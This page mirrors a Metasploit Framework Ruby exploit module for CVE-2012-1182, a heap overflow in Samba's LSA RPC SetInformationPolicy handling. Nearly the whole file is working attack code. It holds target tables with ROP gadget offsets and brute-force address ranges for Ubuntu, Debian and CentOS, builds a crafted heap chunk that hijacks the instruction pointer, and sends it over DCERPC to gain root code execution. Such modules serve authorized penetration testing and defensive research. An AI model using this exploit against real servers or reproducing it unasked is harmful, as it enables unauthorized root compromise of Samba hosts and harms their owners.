Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/setinfopolicy_heap.rb
21666 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Exploit::RopDb
12
include Msf::Exploit::Brute
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
19
'Description' => %q{
20
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
21
because of an error on the PIDL auto-generated code. Making a specially crafted
22
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
23
trigger a heap overflow and finally execute arbitrary code with root privileges.
24
25
The module uses brute force to guess the stackpivot/rop chain or the system()
26
address and redirect flow there in order to bypass NX. The start and stop addresses
27
for brute forcing have been calculated empirically. On the other hand the module
28
provides the StartBrute and StopBrute which allow the user to configure his own
29
addresses.
30
},
31
'Author' => [
32
'Unknown', # Vulnerability discovery
33
'blasty', # Exploit
34
'mephos', # Metasploit module
35
'sinn3r', # Metasploit module
36
'juan vazquez' # Metasploit module
37
],
38
'License' => MSF_LICENSE,
39
'References' => [
40
['CVE', '2012-1182'],
41
['OSVDB', '81303'],
42
['BID', '52973'],
43
['ZDI', '12-069']
44
],
45
'Privileged' => true,
46
'Payload' => {
47
'DisableNops' => true,
48
'Space' => 600
49
},
50
'Platform' => %w[linux unix],
51
# smbd process is killed soon after being exploited, need fork with meterpreter
52
'DefaultOptions' => { 'PrependSetreuid' => true, 'PrependSetregid' => true, 'PrependFork' => true, 'AppendExit' => true, 'WfsDelay' => 5 },
53
'Targets' => [
54
[
55
'2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
56
{
57
'Arch' => ARCH_X86,
58
'Offset' => 0x11c0,
59
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
60
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
61
'Bruteforce' =>
62
{
63
'Start' => { 'libgcrypt_base' => 0xb67f1000 },
64
'Stop' => { 'libgcrypt_base' => 0xb69ef000 },
65
'Step' => 0x1000
66
}
67
}
68
],
69
[
70
'2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
71
{
72
'Arch' => ARCH_X86,
73
'Offset' => 0x11c0,
74
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
75
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
76
'Bruteforce' =>
77
{
78
'Start' => { 'libgcrypt_base' => 0xb68d9000 },
79
'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },
80
'Step' => 0x1000
81
}
82
}
83
],
84
[
85
'2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
86
{
87
'Arch' => ARCH_X86,
88
'Offset' => 0x11c0,
89
'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
90
# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
91
'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
92
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
93
# to effectively stack pivot
94
'Stackpivot_helper' => 0x00054e87, # pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
95
'Bruteforce' =>
96
{
97
'Start' => { 'libgcrypt_base' => 0xb6973000 },
98
'Stop' => { 'libgcrypt_base' => 0xb6b71000 },
99
'Step' => 0x1000
100
}
101
}
102
],
103
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
104
# ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
105
# {
106
# 'Arch' => ARCH_CMD,
107
# 'Offset' => 0x11c0,
108
# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
109
# 'Stackpivot' => 0,
110
# 'Bruteforce' =>
111
# {
112
# # The start should be 0x950 aligned, and then step 0x1000.
113
# 'Start' => { 'Ret' => 0x00230950 },
114
# 'Stop' => { 'Ret' => 0x22a00950 },
115
# 'Step' => 0x1000
116
# }
117
# }
118
# ],
119
[
120
'2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
121
{
122
'Arch' => ARCH_X86,
123
'Offset' => 0x11c0,
124
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
125
'Stackpivot' => 0x0003e4bc, # xchg eax, esp ; ret in libgcrypt.so.11.5.3
126
'Bruteforce' =>
127
{
128
'Start' => { 'libgcrypt_base' => 0xb694f000 },
129
'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },
130
'Step' => 0x1000
131
}
132
}
133
],
134
[
135
'2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
136
{
137
'Arch' => ARCH_X86,
138
'Offset' => 0x11c0,
139
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
140
'Stackpivot' => 0x0003e30c, # xchg eax, esp ; ret in libgcrypt.so.11.5.3
141
'Bruteforce' =>
142
{
143
'Start' => { 'libgcrypt_base' => 0xb6962000 },
144
'Stop' => { 'libgcrypt_base' => 0xb6a61000 },
145
'Step' => 0x1000
146
}
147
}
148
],
149
[
150
'3.5.10-0.107.el5 on CentOS 5',
151
{
152
'Arch' => ARCH_X86,
153
'Offset' => 0x11c0,
154
'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
155
'Stackpivot' => 0x0006ad7e, # xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
156
'Bruteforce' =>
157
{
158
'Start' => { 'libgcrypt_base' => 0x0037c000 },
159
'Stop' => { 'libgcrypt_base' => 0x09e73000 },
160
'Step' => 0x1000
161
}
162
}
163
]
164
165
],
166
'DisclosureDate' => '2012-04-10',
167
'DefaultTarget' => 0,
168
'Notes' => {
169
'Stability' => [CRASH_SERVICE_RESTARTS],
170
'Reliability' => [UNRELIABLE_SESSION],
171
'SideEffects' => [IOC_IN_LOGS]
172
}
173
)
174
)
175
176
register_options([
177
OptInt.new('StartBrute', [ false, 'Start Address For Brute Forcing' ]),
178
OptInt.new('StopBrute', [ false, 'Stop Address For Brute Forcing' ])
179
])
180
181
deregister_options('SMB::ProtocolVersion')
182
end
183
184
def exploit
185
if target.bruteforce?
186
bf = target.bruteforce
187
188
if datastore['StartBrute'] && (datastore['StartBrute'] > 0)
189
bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
190
end
191
192
if datastore['StopBrute'] && (datastore['StopBrute'] > 0)
193
bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
194
end
195
196
if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
197
raise ArgumentError, 'StartBrute should not be larger than StopBrute'
198
end
199
end
200
super
201
end
202
203
def brute_exploit(target_addrs)
204
print_status('Trying to exploit Samba with address 0x%.8x...' % target_addrs['libgcrypt_base'])
205
datastore['DCERPC::fake_bind_multi'] = false
206
datastore['DCERPC::max_frag_size'] = 4248
207
datastore['DCERPC::smb_pipeio'] = 'trans'
208
datastore['DCERPC::ReadTimeout'] = 3
209
210
pipe = 'lsarpc'
211
212
vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')
213
connect(versions: [1])
214
smb_login
215
216
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
217
dcerpc_bind(handle)
218
dcerpc.socket.mode = 'rw'
219
# revert for other exploits
220
datastore['DCERPC::smb_pipeio'] = 'rw'
221
222
cmd = ';;;;' # padding
223
helper = 0
224
if target['Arch'] == ARCH_CMD
225
cmd << "#{payload.encoded}\x00" # system argument
226
tmp = cmd * (816 / cmd.length)
227
tmp << "\x00" * (816 - tmp.length)
228
ret_addr = addr
229
elsif target['Arch'] == ARCH_X86
230
cmd << generate_rop_payload('samba', payload.encoded, { 'target' => target['Ropname'], 'base' => target_addrs['libgcrypt_base'] })
231
tmp = cmd
232
tmp << "\x00" * (816 - tmp.length)
233
ret_addr = target_addrs['libgcrypt_base'] + target['Stackpivot']
234
# will help in stack pivot when it's not eax pointing to shellcode
235
if target['Stackpivot_helper']
236
helper = target_addrs['libgcrypt_base'] + target['Stackpivot_helper']
237
end
238
end
239
240
stub = 'X' * 20
241
242
stub << NDR.short(2) # level
243
stub << NDR.short(2) # level 2
244
stub << NDR.long(1) # auditing mode
245
stub << NDR.long(1) # ptr
246
stub << NDR.long(100000) # r-> count
247
stub << NDR.long(20) # array size
248
stub << NDR.long(0)
249
stub << NDR.long(100)
250
stub << rand_text_alpha(target['Offset'])
251
# Crafted talloc chunk
252
# stub << 'A' * 8 # next, prev
253
stub << NDR.long(helper) + 'A' * 4 # next, prev
254
stub << NDR.long(0) + NDR.long(0) # parent, child
255
stub << NDR.long(0) # refs
256
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
257
stub << NDR.long(ret_addr) # destructor # will become EIP
258
stub << NDR.long(0) # name
259
stub << 'AAAA' # size
260
stub << NDR.long(0xe8150c70) # flags
261
stub << 'AAAABBBB'
262
stub << tmp # pointer to tmp+4 in $esp
263
stub << rand_text(32632)
264
stub << rand_text(62000)
265
266
begin
267
call(dcerpc, 0x08, stub)
268
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError => e
269
vprint_error(e.message)
270
rescue Rex::Proto::DCERPC::Exceptions::Fault
271
print_error('Server is most likely patched...')
272
rescue Timeout::Error
273
print_status('Timeout')
274
rescue Rex::Proto::SMB::Exceptions::LoginError
275
print_status('Rex::Proto::SMB::Exceptions::LoginError')
276
rescue StandardError => e
277
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
278
print_status('Server disconnected, this is expected')
279
end
280
end
281
handler
282
disconnect
283
end
284
285
def check
286
vprint_status('Connect with SMB1 for the check method, since it needs native_lm info')
287
connect(versions: [1])
288
smb_login
289
disconnect
290
291
version = smb_peer_lm.scan(/Samba (\d\.\d.\d*)/).flatten[0]
292
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
293
vprint_status("Version found: #{version}")
294
295
return CheckCode::Appears if version =~ (/^3\.4/) && (minor < 16)
296
return CheckCode::Appears if version =~ (/^3\.5/) && (minor < 14)
297
return CheckCode::Appears if version =~ (/^3\.6/) && (minor < 4)
298
299
return CheckCode::Safe
300
rescue StandardError
301
return CheckCode::Unknown
302
end
303
304
# Perform a DCE/RPC Function Call
305
def call(dcerpc, function, data, do_recv: true)
306
frag_size = data.length
307
if dcerpc.options['frag_size']
308
frag_size = dcerpc.options['frag_size']
309
end
310
object_id = ''
311
if dcerpc.options['object_call']
312
object_id = dcerpc.handle.uuid[0]
313
end
314
if options['random_object_id']
315
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
316
end
317
318
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
319
call_packets.each do |packet|
320
write(dcerpc, packet)
321
end
322
323
return true if !do_recv
324
325
raw_response = ''
326
327
begin
328
raw_response = dcerpc.read
329
rescue ::EOFError
330
raise Rex::Proto::DCERPC::Exceptions::NoResponse
331
end
332
333
if (raw_response.nil? || (raw_response.empty?))
334
raise Rex::Proto::DCERPC::Exceptions::NoResponse
335
end
336
337
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
338
339
if dcerpc.last_response.type == 3
340
e = Rex::Proto::DCERPC::Exceptions::Fault.new
341
e.fault = dcerpc.last_response.status
342
raise e
343
end
344
345
dcerpc.last_response.stub_data
346
end
347
348
# Used to create standard DCERPC REQUEST packet(s)
349
# rubocop:disable Metrics/ParameterLists
350
def make_request(opnum = 0, data = '', size = data.length, ctx = 0, object_id = '')
351
opnum = opnum.to_i
352
size = size.to_i
353
ctx = ctx.to_i
354
355
chunks = []
356
frags = []
357
ptr = 0
358
359
# Break the request into fragments of 'size' bytes
360
while ptr < data.length
361
chunks.push(data[ptr, size])
362
ptr += size
363
end
364
365
# Process requests with no stub data
366
if chunks.empty?
367
frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id))
368
return frags
369
end
370
371
# Process requests with only one fragment
372
if chunks.length == 1
373
frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id))
374
return frags
375
end
376
377
# Create the first fragment of the request
378
frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id))
379
380
# Create all of the middle fragments
381
frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id)) while chunks.length != 1
382
383
# Create the last fragment of the request
384
frags.push(Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id))
385
386
return frags
387
end
388
# rubocop:enable Metrics/ParameterLists
389
390
# Write data to the underlying socket
391
def write(dcerpc, data)
392
dcerpc.socket.write(data)
393
data.length
394
end
395
end
396
397